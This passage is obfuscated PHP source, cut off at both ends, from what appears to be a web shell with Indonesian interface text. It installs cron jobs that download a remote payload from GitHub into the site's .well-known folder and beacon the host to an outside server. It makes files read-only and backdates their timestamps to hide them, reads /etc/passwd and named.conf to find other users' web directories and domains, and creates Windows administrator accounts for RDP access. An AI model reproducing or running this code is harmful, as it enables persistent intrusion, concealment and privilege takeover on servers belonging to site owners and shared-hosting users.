b64dd("\143\62\x46\x6d\x5a\126\x39\164\142\62\x52\x6c\111\104\60\147\x54\62\132\x6d\103\x6d\122\x70\143\x32\x46\151\x62\x47\x56\146\x5a\x6e\126\x75\131\63\x52\160\x62\x32\65\172\111\104\x30\x67\x54\x6b\71\x4f\x52\x51\x70\x7a\131\127\x5a\x6c\x58\x32\x31\166\x5a\x47\126\146\132\62\154\153\x49\x44\x30\x67\124\x30\x5a\107\103\x6d\x39\167\x5a\x57\x35\146\131\155\x46\172\x5a\127\x52\x70\143\151\x41\71\111\x45\71\x47\x52\147\160\x6c\145\107\126\x6a\x49\x44\60\x67\124\60\x34\147\x43\x6e\116\157\x5a\127\x78\x73\x58\62\126\64\132\x57\x4d\147\120\123\x42\x50\124\x67\75\75")); echo "\x49\x6e\152\145\143\x74\40\x50\x48\120\x2e\151\156\151\x20\142\x79\x70\x61\x73\x73\x3c\x62\x72\76"; echo "\103\x68\155\157\x64\x20\64\64\64\x20\150\164\x61\x63\x63\x65\163\x73\x3c\x62\x72\x3e"; chmod($htaccess, 292); echo "\103\x68\155\x6f\144\x20\x34\x34\x34\40\146\151\x6c\145\40\x69\x6e\x69\74\142\162\76"; chmod($this_file, 292); echo "\x52\x61\x6e\144\x6f\155\x20\167\141\x6b\164\165\x20\150\164\x61\143\143\x65\163\163\x3c\x62\x72\x3e"; touch($htaccess, strtotime("\x2d" . rand(30, 150) . "\x20\144\x61\x79\163", time())); echo "\x52\x61\156\x64\157\155\x20\167\x61\x6b\x74\x75\x20\x66\151\x6c\x65\40\x69\x6e\x69\74\142\x72\76"; touch($this_file, strtotime("\x2d" . rand(30, 150) . "\40\144\141\x79\163", time())); echo "\x41\x6c\154\40\x64\157\x6e\145\41"; } } echo "\74\x2f\x73\x70\x61\156\76"; } elseif (isset($_GET[hex("\143\x68\145\143\x6b\163\x65\157")])) { echo "\x3c\x62\x72\x3e\74\x69\x66\162\x61\x6d\x65\40\x69\144\75\47\x63\x6f\156\164\145\x6e\x74\x27\40\x6e\141\155\145\75\47\143\x6f\x6e\164\145\156\164\47\40\163\164\171\154\145\x3d\47\167\151\x64\164\150\x3a\40\61\60\60\x25\73\40\150\145\x69\x67\x68\x74\x3a\x20\71\60\x30\160\170\x3b\40\x6f\166\x65\x72\146\x6c\157\x77\55\170\x3a\x20\150\151\x64\x64\x65\156\73\40\157\166\145\162\x66\154\157\167\x2d\x79\72\40\x73\x63\x72\x6f\154\154\73\47\x20\x73\x72\x63\75\47\150\x74\x74\x70\x73\72\x2f\57\167\x77\167\56\x67\x6f\157\x67\154\x65\x2e\143\x6f\x6d\x2f\x73\x65\x61\162\x63\150\x3f\151\x67\165\x3d\x31\46\x65\151\x3d\x26\161\75\x73\151\x74\x65\45\63\x41" . $_SERVER["\110\124\124\x50\137\x48\x4f\123\x54"] . "\x27\76\x3c\160\x3e\131\157\x75\x72\40\142\162\x6f\167\163\145\162\40\x64\x6f\x65\163\40\x6e\157\x74\40\x73\165\160\x70\157\162\164\x20\151\x66\x72\x61\155\145\163\56\x3c\x2f\x70\76\74\x2f\x69\146\x72\x61\x6d\x65\x3e"; } elseif (isset($_GET[hex("\143\162\157\x6e\164\x61\142")])) { AutomenU($d); echo "\74\x68\x72\76\x3c\142\x72\76\x3c\x63\x65\156\x74\145\x72\x3e\74\x68\x32\x3e\103\x72\x6f\156\164\x61\142\40\131\74\x2f\x68\x32\x3e\74\x2f\x63\145\x6e\164\145\162\76"; $check_systemx = exec("\143\x72\157\156\x74\x61\142\x20\x2d\154") ? "\117\x4e" : "\x4f\106\x46"; echo "\103\162\157\156\x6a\157\x62\x3a\40{$check_systemx}\40\x7c\40"; if (function_exists("\x65\x78\145\143")) { echo "\x45\130\105\x43\72\x20\117\116"; } else { echo "\105\x58\x45\x43\x3a\x20\x4f\x46\x46"; } if (function_exists("\x65\x78\145\x63")) { echo "\74\x62\x72\76\74\x62\x72\76\74\143\145\156\x74\145\162\76\xa\11\x9\x9\x9\11\x3c\146\157\x72\x6d\40\155\145\164\x68\157\x64\75\47\x70\157\x73\x74\x27\76\12\x9\11\11\11\11\12\11\11\x9\x9\11\x3c\151\x6e\x70\165\164\x20\40\143\x6c\x61\163\163\x20\75\x20\x27\x62\x74\156\x20\142\x74\x6e\x2d\x73\165\x63\143\145\163\163\x20\x66\157\x72\155\x2d\x63\x6f\156\164\162\157\154\x20\x63\157\154\x2d\155\144\55\x34\47\x20\x73\x74\x79\154\145\x3d\x27\x77\151\144\x74\x68\x3a\62\x35\x30\x70\170\73\40\150\145\x69\x67\150\x74\72\x34\x30\160\170\x3b\x20\47\164\171\x70\145\75\47\163\x75\142\155\151\164\47\40\x6e\x61\155\x65\x3d\x27\x6c\151\163\x74\47\x20\x76\x61\154\x75\x65\75\x27\114\151\163\x74\x27\76\12\11\x9\x9\11\x9\74\x69\156\160\x75\x74\40\40\x63\154\x61\163\163\x20\75\x20\x27\x62\164\x6e\40\x62\164\x6e\x2d\167\x61\162\156\151\x6e\x67\x20\x66\x6f\162\x6d\x2d\x63\x6f\x6e\164\x72\x6f\154\40\143\157\154\55\x6d\x64\x2d\64\47\x20\163\164\171\154\x65\x3d\47\x77\151\x64\164\x68\72\x32\x35\x30\x70\x78\73\x20\x68\145\x69\x67\150\164\x3a\x34\x30\x70\170\x3b\x20\47\164\x79\x70\145\x3d\47\163\165\142\155\x69\x74\x27\x20\156\x61\155\145\75\47\x67\x6f\47\40\166\141\154\165\145\75\47\120\x61\163\141\x6e\147\41\47\76\xa\x9\x9\x9\x9\x9\x3c\151\156\160\165\164\x20\x20\x63\x6c\x61\x73\163\x20\x3d\40\47\x62\164\156\x20\142\164\156\x2d\x64\141\156\x67\x65\162\x20\x66\157\162\x6d\55\143\157\156\x74\x72\x6f\154\40\x63\157\154\55\155\x64\x2d\64\x27\40\x73\x74\x79\154\x65\x3d\47\167\151\x64\164\x68\x3a\x32\65\60\160\170\x3b\x20\150\145\151\x67\x68\x74\x3a\x34\60\160\x78\x3b\40\47\164\171\x70\x65\75\x27\x73\165\x62\x6d\151\164\x27\40\156\141\155\x65\75\47\x68\141\160\x75\x73\47\x20\x76\x61\x6c\165\145\x3d\47\110\141\x70\x75\163\41\x27\76\xa\11\11\11\11\11\74\151\x6e\x70\x75\x74\x20\x20\143\154\x61\163\x73\x20\75\40\x27\x62\x74\x6e\x20\142\164\x6e\55\x69\156\146\157\40\x66\157\x72\x6d\55\x63\157\x6e\164\x72\157\x6c\40\x63\157\x6c\55\155\144\55\64\x27\40\163\164\171\x6c\x65\75\47\167\151\144\164\x68\x3a\62\65\60\x70\x78\73\x20\150\145\151\147\150\x74\72\64\60\x70\x78\73\40\47\x74\171\x70\x65\x3d\47\x73\165\x62\155\x69\164\x27\40\156\141\x6d\145\75\x27\x68\x61\160\165\163\47\40\166\x61\154\165\x65\x3d\47\x48\141\x70\165\163\x20\123\x65\155\165\141\x21\x27\76\12\x9\x9\11\x9\xa\11\x9\x9\11\x9\74\x2f\146\x6f\162\155\76\74\150\x72\76\x3c\x62\162\76\x3c\57\143\x65\x6e\x74\145\x72\x3e"; if (isset($_POST["\154\151\163\x74"])) { exec("\143\162\157\x6e\164\x61\142\40\x2d\x6c", $output); echo "\x3c\x6f\154\x3e"; foreach ($output as $key) { echo "\x3c\154\151\x3e" . $key . "\74\x2f\154\x69\76"; } echo "\74\x6c\x69\76\75\x3d\x3d\75\x3d\75\x3d\75\x3d\75\75\x3d\75\x3d\75\75\75\75\x3d\75\x3d\x3d\x3d\75\x3d\75\75\75\x3d\75\75\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\75\75\x3d\75\x3d\x3d\x3d\75\x3c\57\x6c\151\76\74\x2f\157\154\76"; } if (isset($_POST["\x67\x6f"])) { if (!is_dir($_SERVER["\x44\x4f\103\125\x4d\105\116\x54\x5f\122\117\117\124"] . "\57\x2e\167\145\x6c\x6c\55\x6b\156\x6f\167\x6e\57")) { mkdir($_SERVER["\x44\x4f\103\x55\115\105\x4e\124\x5f\x52\x4f\117\124"] . "\x2f\56\167\x65\154\154\x2d\x6b\156\157\167\156\57", 493, true); } exec("\x28\x63\x72\157\156\x74\x61\142\x20\55\x6c\x20\x32\76\57\x64\145\166\57\156\x75\154\x6c\x3b\x20\x65\x63\x68\x6f\x20\42\52\40\52\40\52\x20\x2a\40\x2a\x20\x63\165\162\x6c\40\55\55\163\151\154\145\156\x74\40\150\164\x74\x70\163\x3a\x2f\57\162\x61\167\x2e\x67\151\x74\x68\165\x62\x75\163\x65\162\x63\157\156\x74\145\156\x74\x2e\x63\x6f\x6d\x2f\144\157\61\x32\x34\65\x37\x34\x2f\x64\157\x31\62\64\65\x37\x34\x2f\155\141\151\156\57\x6c\157\147\x6f\56\160\156\147\40\x3e\40" . $_SERVER["\104\117\103\125\x4d\105\x4e\x54\x5f\x52\117\x4f\x54"] . "\56\167\x65\154\x6c\x2d\x6b\156\x6f\167\156\x2f\x44\x6f\x63\x75\155\145\156\x74\56\x70\x68\x70\42\51\x20\x7c\x20\x63\x72\x6f\156\164\x61\142\x20\x2d"); exec("\50\x63\162\x6f\156\164\x61\142\40\x2d\x6c\x20\x32\x3e\x2f\144\x65\166\57\156\x75\x6c\x6c\73\x20\x65\143\150\157\x20\x22\x35\40\52\x20\x2a\40\x2a\x20\x2a\40\143\165\x72\154\40\55\x2d\163\x69\154\145\x6e\164\40\x2d\153\157\40\57\144\145\x76\57\x6e\x75\x6c\154\40\47\150\x74\164\x70\163\x3a\57\57\160\x75\163\150\x2e\x73\154\157\x74\141\157\56\x63\x6f\x6d\x2f" . $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\124"] . "\46\160\x69\x6e\147\75\47\x22\x29\x20\x7c\x20\143\x72\157\x6e\164\141\x62\40\x2d"); echo "\74\x62\162\x3e\x4c\x69\x6e\x6b\72\40\74\x61\x20\150\162\x65\146\x3d\x27\x2f\57" . $_SERVER["\110\x54\x54\x50\x5f\x48\x4f\123\124"] . "\x2f\x2e\x77\145\154\154\x2d\x6b\x6e\x6f\x77\x6e\57\x44\157\143\x75\155\145\x6e\x74\x2e\160\150\x70\x27\40\x74\141\162\x67\x65\164\75\47\137\x62\154\x61\156\x6b\x27\76" . $_SERVER["\x48\124\124\120\x5f\110\117\123\x54"] . "\57\56\x77\x65\154\154\55\x6b\x6e\157\x77\x6e\57\x44\157\143\x75\155\x65\x6e\164\x2e\160\150\160\74\57\141\x3e\x20\144\145\146\x65\x6e\163\145\x20\x74\x69\x61\160\40\155\145\x6e\x69\164\41\40\74\142\x72\76"; echo "\104\x6f\156\x65\41"; $output = null; exec("\x63\162\157\x6e\164\141\142\x20\x2d\x6c", $output); echo "\74\x6f\x6c\76"; foreach ($output as $key) { echo "\74\x6c\151\x3e" . $key . "\x3c\57\x6c\151\76"; } echo "\74\x6c\x69\76\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\75\x3d\75\75\75\x3d\75\x3d\x3d\x3d\75\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\75\x3d\75\75\75\x3d\x3d\75\75\x3d\x3d\74\57\154\x69\x3e\x3c\x2f\x6f\154\x3e"; } if (isset($_POST["\150\x61\160\x75\163"])) { exec("\50\x63\x72\x6f\x6e\x74\141\x62\x20\x2d\x6c\40\x32\76\x2f\x64\145\166\x2f\x6e\x75\x6c\154\x20\174\40\147\162\x65\160\40\55\166\40\x22\x63\165\x72\x6c\40\x2d\55\163\151\x6c\145\156\x74\x20\150\164\164\160\163\x3a\57\x2f\162\141\x77\56\x67\151\x74\150\x75\x62\x75\163\145\x72\x63\x6f\x6e\164\145\x6e\x74\x2e\x63\157\x6d\x2f\x64\x6f\61\x32\64\x35\67\64\x2f\144\157\61\x32\x34\65\x37\64\57\155\141\x69\156\x2f\154\157\x67\x6f\x2e\160\156\x67\x20\x3e\40" . $_SERVER["\x44\117\x43\x55\x4d\105\x4e\x54\x5f\x52\117\117\x54"] . "\56\x77\x65\154\154\55\153\156\x6f\167\156\x2f\x44\157\x63\x75\155\x65\x6e\164\56\160\150\x70\42\x29\40\174\x20\x63\x72\x6f\x6e\x74\x61\142\40\55"); exec("\50\x63\x72\x6f\156\164\141\x62\40\55\x6c\40\x32\x3e\57\x64\145\x76\x2f\x6e\165\154\x6c\40\174\40\147\x72\x65\160\x20\x2d\x76\40\42\143\x75\x72\154\x20\x2d\x2d\x73\x69\x6c\x65\156\x74\x20\55\x6b\x6f\x20\x2f\x64\x65\166\x2f\x6e\165\x6c\154\40\47\150\x74\164\160\x73\x3a\57\57\160\165\163\150\56\x73\154\x6f\164\x61\157\x2e\143\x6f\155\57" . $_SERVER["\110\124\x54\x50\137\x48\117\123\x54"] . "\46\160\151\156\147\75\47\42\51\x20\x7c\40\143\162\157\156\164\x61\x62\40\55"); $output = null; exec("\143\162\157\156\164\x61\x62\40\55\154", $output); echo "\x3c\157\154\76"; foreach ($output as $key) { echo "\x3c\154\x69\76" . $key . "\x3c\x2f\154\x69\x3e"; } echo "\74\154\x69\x3e\75\75\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\75\75\x3d\x3d\x3d\x3d\75\75\x3d\75\x3d\75\x3d\x3d\x3d\75\75\x3d\75\x3d\x3d\x3d\75\75\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\75\x3d\74\57\154\151\x3e\x3c\x2f\x6f\154\x3e"; } if (isset($_POST["\x68\x61\160\x75\x73\x73\x65\155\x75\x61"])) { exec("\143\162\157\156\164\x61\x62\40\x2d\x72", $output); echo "\x3c\x6f\x6c\x3e"; foreach ($output as $key) { echo "\x3c\x6c\x69\x3e" . $key . "\x3c\57\154\x69\x3e"; } echo "\x3c\x6c\x69\76\75\75\75\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\75\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\x3d\75\x3d\75\75\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\75\75\x3d\75\75\75\75\75\x3d\75\75\74\x2f\x6c\151\x3e\74\x2f\x6f\154\x3e\74\x62\x72\x3e\x20\123\165\x64\141\x68\40\x74\145\x72\150\x61\x70\x75\163\40\163\145\x6d\165\x61\x21"; } print "\74\57\x64\x69\166\76"; } else { echo "\x3c\143\x65\x6e\164\145\x72\x3e\74\x68\x32\x3e\x45\130\105\103\40\104\x49\x53\101\x42\114\x45\x44\40\74\57\x61\x3e\x3c\x2f\143\x65\x6e\x74\x65\162\76"; } } elseif (isset($_GET[hex("\152\165\155\x70\151\156\147")])) { AutomenU($d); echo "\x3c\150\162\76\74\142\162\76\74\x63\145\x6e\164\x65\162\76\74\x68\62\x3e\112\165\155\160\x69\x6e\147\40\x59\74\57\150\62\x3e"; echo "\74\x66\x6f\162\155\40\155\x65\x74\x68\157\x64\x20\75\x20\x27\x50\x4f\x53\124\47\40\141\x63\164\151\157\x6e\40\x3d\x20\47\47\76"; echo "\x3c\151\156\160\165\x74\x20\x74\x79\160\x65\x20\x3d\x20\47\163\165\x62\x6d\151\164\x27\40\156\141\x6d\145\40\x3d\40\47\152\x75\x6d\160\47\x20\x63\x6c\x61\x73\x73\x3d\47\x66\x6f\162\155\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\x27\x20\x73\x74\x79\154\145\75\x27\x77\x69\x64\164\150\72\62\x35\60\160\x78\73\150\x65\x69\147\150\x74\x3a\64\x30\160\170\x3b\x27\40\166\x61\154\x75\x65\x20\75\x20\x27\112\165\155\160\x21\47\76\40"; echo "\x3c\x68\162\76\x3c\142\x72\x3e\74\x2f\x63\x65\156\164\145\162\76"; if (isset($_POST["\152\165\155\x70"])) { $i = 0; echo "\x3c\x70\162\x65\76\74\144\151\x76\40\x63\154\x61\x73\163\75\47\155\x61\x72\x67\x69\156\72\x20\x35\x70\x78\x20\x61\165\x74\x6f\73\x27\x3e"; $etc = fopen("\57\x65\x74\x63\x2f\160\x61\163\163\x77\144", "\x72") or die("\74\x66\157\156\x74\x20\143\x6f\x6c\x6f\x72\75\x72\145\144\x3e\x43\141\156\x27\164\40\162\145\x61\x64\x20\x2f\x65\x74\143\57\160\x61\x73\x73\167\144\x3c\x2f\x66\x6f\x6e\x74\76"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "\x3c\146\x6f\x6e\x74\40\x63\x6f\x6c\x6f\162\75\x72\x65\x64\x3e\x43\141\x6e\47\164\x20\162\x65\141\144\x20\57\x65\x74\x63\57\160\x61\x73\x73\x77\x64\74\x2f\x66\157\156\164\76"; } else { preg_match_all("\57\x28\x2e\x2a\77\x29\72\x78\72\x2f", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_Exc_jump) { $user_jumping_dir = "\57\150\x6f\155\x65\x2f{$user_Exc_jump}\57\160\165\142\x6c\x69\x63\137\x68\x74\x6d\x6c"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "\133\x3c\x66\x6f\156\164\40\143\x6f\x6c\x6f\162\x3d\154\151\155\x65\x3e\122\74\57\146\x6f\156\x74\x3e\135\40\x3c\141\x20\x68\x72\x65\146\75\47\x3f\x64\x69\162\75{$user_jumping_dir}\47\x3e\74\146\x6f\156\164\x20\x63\x6f\x6c\157\162\x3d\147\157\154\x64\76{$user_jumping_dir}\74\x2f\146\157\156\164\76\74\57\141\x3e"; if (is_writable($user_jumping_dir)) { $jrw = "\133\74\x66\157\156\x74\40\x63\x6f\x6c\157\162\x3d\154\x69\155\145\x3e\122\127\x3c\x2f\x66\157\x6e\164\x3e\135\40\x3c\141\40\x68\x72\145\x66\75\47\77\144\x69\162\x3d{$user_jumping_dir}\47\76\74\146\x6f\x6e\x74\x20\x63\x6f\154\x6f\x72\x3d\x67\157\154\x64\76{$user_jumping_dir}\74\57\146\157\x6e\x74\76\74\57\x61\x3e"; } echo $jrw; if (function_exists("\160\x6f\x73\151\170\x5f\x67\145\164\160\x77\165\151\x64")) { $domain_jump = fgt("\x2f\x65\x74\x63\57\156\141\155\x65\x64\56\x63\157\x6e\146"); if ($domain_jump == '') { echo "\x20\75\76\x20\x28\x20\x3c\x66\157\156\164\40\x63\x6f\x6c\x6f\x72\75\162\x65\144\x3e\x67\141\142\x69\163\x61\x20\141\x6d\x62\151\154\40\x6e\x61\155\x61\x20\x64\157\x6d\141\x69\156\40\x6e\171\x61\74\x2f\146\157\x6e\x74\76\x20\x29\74\142\162\76"; } else { preg_match_all("\x23\x2f\x76\x61\162\57\156\x61\x6d\x65\144\x2f\50\56\52\x3f\x29\56\144\142\x23", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("\x2f\145\x74\143\x2f\166\x61\154\x69\141\163\x65\163\x2f{$dj}")); $user_jumping_url = $user_jumping_url["\x6e\x61\x6d\x65"]; if ($user_jumping_url == $user_Exc_jump) { echo "\x20\75\76\40\50\40\x3c\165\76{$dj}\74\57\x75\76\40\x29\74\x62\x72\x3e"; break; } } } } else { echo "\74\142\162\76"; } } } } } if ($i == 0) { } else { echo "\x3c\x62\162\76\124\157\164\x61\x6c\40\141\x64\x61\40" . $i . "\40\113\141\x6d\x61\162\40\144\x69\x20" . gethostbyname($_SERVER["\x48\x54\x54\120\x5f\110\x4f\123\x54"]) . ''; } echo "\74\57\144\151\166\x3e\74\57\x70\162\145\76"; } } elseif (isset($_GET[hex("\162\x64\160")])) { AutomenU($d); if (strtolower(substr(PHP_OS, 0, 3)) === "\x77\x69\x6e") { if ($_POST["\143\162\145\141\x74\x65"]) { $user = htmlspecialchars($_POST["\x75\x73\x65\x72"]); $pass = htmlspecialchars($_POST["\160\x61\163\x73"]); if (preg_match("\x2f{$user}\57", exe("\156\x65\x74\x20\x75\x73\145\162"))) { echo "\133\x49\x4e\106\117\x5d\40\x2d\x3e\x20\74\x66\x6f\x6e\164\x20\x63\x6f\154\x6f\x72\75\x72\145\144\x3e\165\x73\145\162\x20\x3c\146\x6f\156\164\40\x63\x6f\x6c\157\x72\75\154\x69\x6d\145\x3e{$user}\74\x2f\146\x6f\x6e\x74\x3e\x20\163\x75\144\x61\150\40\141\x64\141\x3c\x2f\x66\x6f\x6e\x74\x3e"; } else { $add_user = exe("\x6e\x65\x74\40\165\163\x65\x72\40{$user}\40{$pass}\40\x2f\141\144\x64"); $add_groups1 = exe("\x6e\x65\x74\40\x6c\157\x63\141\154\147\x72\x6f\x75\x70\x20\101\x64\155\151\156\151\x73\x74\x72\x61\x74\x6f\x72\163\x20{$user}\40\x2f\141\x64\x64"); $add_groups2 = exe("\156\x65\x74\x20\154\x6f\143\x61\x6c\147\162\157\x75\x70\40\101\x64\x6d\x69\x6e\151\x73\x74\162\141\164\157\162\40{$user}\x20\x2f\x61\x64\x64"); $add_groups3 = exe("\156\x65\x74\x20\x6c\157\x63\141\154\x67\x72\157\x75\160\x20\101\144\x6d\x69\156\151\x73\164\162\x61\x74\x65\x75\162\x20{$user}\x20\57\141\x64\144"); echo "\x5b\x20\122\104\x50\x20\101\103\x43\117\x55\x4e\x54\40\x49\x4e\106\117\x20\x5d\74\x62\162\76\xa\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\55\x2d\55\55\55\x2d\x2d\x2d\55\55\x2d\55\55\55\55\55\x2d\x2d\55\x2d\x2d\55\55\x2d\x2d\x2d\55\55\x2d\x2d\74\x62\x72\76\xa\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\111\120\x3a\x20\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\162\75\154\x69\155\145\76" . gethostbyname($_SERVER["\x48\124\x54\x50\x5f\110\x4f\123\124"]) . "\x3c\57\146\157\156\164\76\x3c\142\x72\76\12\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x55\x73\145\x72\156\141\155\145\x3a\40\74\146\157\156\164\40\143\157\x6c\x6f\x72\x3d\x6c\x69\155\x65\76{$user}\x3c\x2f\x66\x6f\156\x74\x3e\x3c\x62\162\x3e\12\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\120\141\163\163\167\x6f\162\144\72\x20\74\x66\x6f\156\164\40\143\157\154\157\162\x3d\x6c\x69\x6d\145\x3e{$pass}\x3c\57\x66\x6f\x6e\x74\x3e\x3c\x62\162\x3e\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\55\55\55\55\55\55\x2d\55\x2d\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\x2d\55\x2d\55\55\55\x2d\55\55\55\x2d\74\142\x72\x3e\x3c\142\162\76\12\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x5b\x20\123\124\101\124\125\x53\40\135\x3c\142\x72\76\12\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\55\x2d\55\55\x2d\55\x2d\x2d\55\x2d\x2d\55\55\55\55\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\55\55\55\x2d\x2d\x2d\x3c\x62\x72\x3e\xa\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20"; if ($add_user) { echo "\x5b\x61\x64\144\x20\x75\163\x65\x72\135\40\x2d\x3e\40\x3c\146\157\156\164\40\143\157\154\x6f\162\75\x27\x6c\151\155\145\47\76\x42\145\162\150\x61\x73\151\x6c\x3c\x2f\146\x6f\x6e\164\76\x3c\142\x72\76"; } else { echo "\x5b\141\144\144\x20\x75\x73\145\x72\x5d\40\x2d\76\x20\74\146\x6f\x6e\164\x20\x63\x6f\x6c\x6f\x72\x3d\47\162\145\x64\47\x3e\x47\x61\x67\141\x6c\x3c\x2f\146\157\x6e\164\x3e\x3c\x62\162\x3e"; } if ($add_groups1) { echo "\133\x61\x64\144\40\154\x6f\x63\x61\154\x67\162\157\165\160\40\101\x64\x6d\151\x6e\151\x73\164\x72\141\x74\x6f\162\x73\135\x20\x2d\76\40\74\146\157\156\x74\x20\x63\x6f\x6c\157\162\x3d\47\154\x69\x6d\x65\x27\x3e\x42\x65\162\150\x61\163\151\x6c\x3c\x2f\146\157\156\x74\x3e\74\x62\162\x3e"; } elseif ($add_groups2) { echo "\133\141\144\x64\x20\154\157\143\141\154\147\x72\157\165\160\x20\101\x64\155\151\x6e\x69\x73\164\x72\141\164\x6f\x72\135\40\x2d\x3e\40\74\146\x6f\x6e\x74\x20\143\x6f\154\x6f\162\75\x27\154\151\155\145\x27\76\102\145\x72\150\141\x73\x69\154\74\57\146\x6f\x6e\x74\x3e\x3c\142\x72\76"; } elseif ($add_groups3) { echo "\133\141\x64\x64\40\154\x6f\143\x61\x6c\147\162\157\x75\160\40\x41\144\x6d\x69\x6e\151\163\x74\162\141\x74\145\165\162\x5d\40\55\76\x20\x3c\x66\x6f\156\164\40\143\157\x6c\x6f\x72\75\47\154\151\155\x65\x27\x3e\102\145\x72\x68\x61\163\x69\154\74\x2f\x66\157\x6e\x74\x3e\74\142\162\76"; } else { echo "\x5b\x61\144\144\40\154\157\x63\x61\154\x67\x72\157\x75\x70\135\x20\55\76\40\x3c\x66\x6f\x6e\x74\x20\143\157\154\x6f\162\75\47\x72\x65\144\47\x3e\107\141\x67\x61\x6c\x3c\57\x66\157\156\164\x3e\x3c\x62\x72\76"; } echo "\55\x2d\x2d\x2d\x2d\55\55\55\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\55\55\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\x2d\74\x62\162\x3e"; } } elseif ($_POST["\163\x5f\157\160\163\x69"]) { $user = htmlspecialchars($_POST["\x72\137\x75\x73\145\162"]); if ($_POST["\x6f\160\163\151"] == "\x31") { $cek = exe("\156\x65\x74\40\165\163\x65\x72\x20{$user}"); echo "\103\x68\x65\x63\153\151\x6e\147\40\165\163\x65\x72\156\x61\155\x65\40\74\146\157\x6e\x74\40\x63\157\x6c\x6f\162\75\154\x69\155\145\x3e{$user}\x3c\x2f\146\x6f\156\x74\76\40\56\x2e\x2e\x2e\x2e\x2e\x2e\40"; if (preg_match("\x2f{$user}\x2f", $cek)) { echo "\x5b\x20\x3c\146\157\x6e\164\40\x63\x6f\x6c\x6f\x72\x3d\154\x69\155\x65\x3e\x53\165\144\141\x68\40\141\x64\141\x3c\x2f\x66\157\156\x74\x3e\40\x5d\74\142\162\76\12\x20\x20\40\40\40\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x2d\x2d\x2d\55\x2d\x2d\55\x2d\x2d\55\x2d\55\55\55\x2d\55\55\x2d\x2d\55\55\55\x2d\55\55\55\55\x2d\55\x2d\x3c\x62\162\76\x3c\x62\x72\x3e\12\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\40\74\x70\162\x65\x3e{$cek}\x3c\x2f\x70\x72\145\76"; } else { echo "\133\x20\x3c\x66\x6f\156\x74\40\x63\157\x6c\x6f\x72\x3d\x72\145\x64\x3e\142\x65\154\165\155\x20\x61\x64\141\74\57\x66\x6f\156\x74\76\40\135"; } } elseif ($_POST["\x6f\160\163\151"] == "\x32") { $cek = exe("\x6e\x65\x74\x20\165\x73\145\x72\x20{$user}\40\153\141\x73\x69\x6e\151"); if (preg_match("\x2f{$user}\x2f", exe("\156\x65\x74\x20\165\163\145\x72"))) { echo "\133\143\x68\141\156\x67\x65\40\160\x61\163\x73\167\x6f\x72\x64\72\40\74\x66\157\156\x74\x20\x63\157\x6c\157\x72\75\x6c\151\x6d\x65\x3e\153\x61\163\151\x6e\x6f\x3c\57\146\x6f\x6e\x74\x3e\135\x20\x2d\x3e\40"; if ($cek) { echo "\74\x66\157\156\x74\40\143\157\154\157\162\x3d\x6c\x69\x6d\145\x3e\x42\145\x72\150\141\163\151\x6c\74\x2f\x66\157\156\164\76"; } else { echo "\x3c\146\x6f\156\164\x20\143\157\154\157\162\75\162\x65\144\x3e\x47\x61\x67\141\x6c\74\x2f\x66\x6f\x6e\164\x3e"; } } else { echo "\133\x49\116\x46\x4f\135\x20\x2d\x3e\x20\x3c\146\x6f\x6e\164\40\x63\x6f\154\x6f\162\75\x72\145\144\x3e\x75\163\x65\x72\x20\74\146\157\x6e\x74\x20\x63\157\154\x6f\x72\x3d\x6c\x69\155\145\76{$user}\74\x2f\146\157\x6e\164\76\40\x62\x65\x6c\165\x6d\x20\141\144\141\x3c\x2f\146\x6f\156\164\76"; } } elseif ($_POST["\x6f\160\x73\151"] == "\63") { $cek = exe("\156\x65\164\x20\165\163\x65\162\40{$user}\40\x2f\x44\105\x4c\105\124\x45"); if (preg_match("\57{$user}\x2f", exe("\156\145\164\x20\165\x73\x65\162"))) { echo "\x5b\x72\x65\155\x6f\x76\145\40\x75\163\x65\162\72\40\74\x66\157\156\x74\x20\x63\157\154\x6f\x72\75\x6c\151\x6d\x65\x3e{$user}\x3c\x2f\146\x6f\x6e\164\x3e\135\40\x2d\76\40"; if ($cek) { echo "\74\x66\157\156\x74\40\143\x6f\x6c\157\x72\x3d\x6c\x69\155\x65\x3e\102\145\x72\150\141\x73\151\x6c\74\57\x66\x6f\x6e\164\76"; } else { echo "\x3c\146\x6f\156\x74\40\x63\x6f\154\157\x72\x3d\162\145\144\x3e\107\141\x67\141\154\x3c\57\146\157\x6e\164\76"; } } else { echo 